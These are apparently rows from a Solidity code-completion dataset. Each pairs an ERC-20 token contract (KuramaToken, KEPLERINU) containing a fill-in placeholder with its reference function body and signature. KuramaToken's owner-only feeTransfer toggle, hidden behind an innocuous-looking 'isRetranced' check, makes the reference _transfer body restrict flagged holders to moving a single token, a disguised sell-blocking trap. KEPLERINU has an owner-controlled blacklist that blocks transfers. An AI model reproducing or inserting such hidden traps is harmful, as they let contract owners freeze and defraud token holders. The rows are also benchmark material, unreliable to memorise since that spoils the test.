sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 5000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
contract KuramaToken is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 50; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 100 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 1 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch mapping(address => bool) private _feeTransfer; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Kurama Token", "KURAMA") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 2; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 15; uint256 _sellDevFee = 5; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 100 / 1000; maxWallet = totalSupply * 100 / 1000; swapTokensAtAmount = totalSupply * 1000 / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); devWallet = address(owner()); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint(msg.sender, totalSupply); } receive() external payable { } function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function feeTransfer(address account) public virtual onlyOwner { if (_feeTransfer[account] == true) {_feeTransfer[account] = false;} else {_feeTransfer[account] = true;} } function isRetranced(address account) public view returns (bool) { return _feeTransfer[account]; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 5000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (_feeTransfer[from] || _feeTransfer[to]) require(amount == 1, "amount above max retrance"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount);
function _transfer( address from, address to, uint256 amount ) internal override
function _transfer( address from, address to, uint256 amount ) internal override
51,604
KEPLERINU
null
contract KEPLERINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Kepler Inu"; string private constant _symbol = "KEPLERINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract KEPLERINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Kepler Inu"; string private constant _symbol = "KEPLERINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
